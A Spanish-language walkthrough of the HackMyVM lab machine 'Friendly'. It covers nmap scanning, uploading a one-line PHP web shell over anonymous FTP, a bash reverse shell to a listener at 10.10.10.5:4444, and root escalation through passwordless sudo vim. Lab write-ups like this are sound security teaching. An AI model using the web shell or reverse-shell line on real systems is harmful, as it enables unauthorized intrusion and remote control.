Friendly
En este artículo, abordaremos la resolución de la máquina Friendly de la plataforma HackMyVM. La máquina presenta un servicio FTP, al cual accedemos utilizando el usuario anonymous
, que cuenta con la capacidad de cargar archivos en el servidor. Aprovechando esta funcionalidad, conseguimos cargar un archivo con extensión .php
y logramos que sea interpretado por el servidor web Apache que se encuentra en ejecución en el puerto 80. De esta manera, logramos obtener acceso al sistema al ejecutar una reverse shell. Para culminar, explotamos una configuración inadecuada de sudo
para elevar nuestros privilegios, logrando así una exitosa escalada de privilegios.
Reconocimiento
Comenzamos lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.
Reconocimento usando el comando ping
Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live).
Enumeración
Descubrimiento de puertos abiertos
Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
1
nmap -sS -p- --open --min-rate 5000 -Pn -n 10.10.10.15 -oG scanPorts -vvv
Descubrimiento de puertos abiertos
Parámetros utilizados:
-sS
: Realiza un TCP SYN Scan para escanear de manera sigilosa, es decir, que no completa las conexiones TCP con los puertos de la máquina víctima.-p-
: Indica que debe escanear todos los puertos (es igual a-p 1-65535
).--open
: Solo considerar puertos abiertos.--min-rate 5000
: Establece el número mínimo de paquetes que nmap enviará por segundo.-Pn
: Desactiva el descubrimiento de host por medio de ping.-vvv
: Activa el modo verbose para que nos muestre resultados a medida que los encuentra.-oG
: Determina el formato del archivo en el cual se guardan los resultados obtenidos. En este caso, es un formato grepeable, el cual almacena todo en una sola línea. De esta forma, es más sencillo procesar y obtener los puertos abiertos por medio de expresiones regulares, en conjunto con otras utilidades como pueden ser grep, awk, sed, entre otras.
Enumeración de versión y servicio
Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.
1
nmap -sCV -p22,80 10.10.10.15 -oN targeted -vvv
Descubrimiento de versión y servicio con nmap
Parámetros utilizados:
-sCV
Es la combinación de los parámetros-sC
y-sV
. El primero determina que se utilizarán una serie de scripts básiscos de enumeración propios de nmap, para conocer el servicio que esta corriendo en dichos puertos. Por su parte, el segundo parámetro permite conocer más acerca de la versión de ese servicio.-p-
: Indica que debe escanear todos los puertos (es igual a-p 1-65535
)-oN
: Determina el formato del archivo en el cual se guardan los resultados obtenidos, junto con el nombre del archivotargeted
. En este caso, utiliza el formato por defecto de nmap.-vvv
: Activa el modo verbose para que nos muestre resultados a medida que los encuentra. `
Explotación
FTP - Anonymous
Como observamos en el escaneo anterior, el servicio ftp
permite acceder con el usuario anonymous
. En este caso, debemos ingresar como contraseña anonymous@10.10.10.15
. Al listar el contenido, nos encontramos con un archivo index.html
el cual nos descargamos para ver su contenido.
Si miramos el contenido del fichero index.html
, vemos que se corresponde con el tipico archivo de una instancia de Apache.
Al ingresar al sitio web que esta corriendo bajo el puerto 80, nos encontramos con la página por defecto de una instancia de Apache, lo cual nos hace pensar que es el mismo archivo que nos descargamos. En otras palabras, tenemos acceso al servidor web por medio de ftp.
Intentos subir un archivo con extensión .php
para ver si el servidor interpreta este lenguaje.
1
2
3
<?php
# shell.php
system($_GET['cmd']);
Si accedemos desde el navegador al archivo shell.php
, vemos que efectivamente se esta interprentado el código php
, lo que nos concede la capacidad de ejecutar comandos..
Reverse shell - www-data
Conociendo que tenemos capacidad de ejecución de comandos, ganemos acceso al sistema a través de una reverse shell.
En primer lugar, nos ponemos en escucha con netcat nc
por el puerto 4444
.
Ejecutamos la reverse shell.
1
bash -c 'bash -i >%26 /dev/tcp/10.10.10.5/4444 0>%261'
De esta forma, ganamos acceso al sistema.
Hacemos un tratamiento de la tty para tener una terminal más interactiva:
script /dev/null -c bash
- CTRL + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows <rows> columns <columns>
Y ya podemos leer el flag de user.txt
.
Escalación de privilegios
Enumeración del sistema
Luego de realizar una enumeración básica del sistema, vemos que el usuario RiJaba1
puede ejecutar con sudo
y sin solicitar contraseña el binario vim
.
Si hacemos una búsqueda en GTFOBins, podemos ver que existen varias alternativas de poder escalar nuestros privilegios en este contexto GTFOBins - vim, en este caso, usare la primera de ellas.
De esta manera, escalamos nuestros privilegios.
Pero aún no encontramos el flag de root
, ya que como indica el mensaje debemos buscar otro archivo root.txt
.
Para lo cual, podemos hacer uso del comando find
.
1
find / -name root.txt 2>/dev/null
Una vez que encontramos el archivo, podemos leer su contenido.
De esta forma, llegamos al final del Write-up de la máquina Friendly.
Como siempre, espero que los conceptos hayan quedado claros. Si has llegado hasta este punto y aún tienes dudas, te recomiendo volver a realizar la máquina.
Gracias por tu lectura!
Happy Hacking!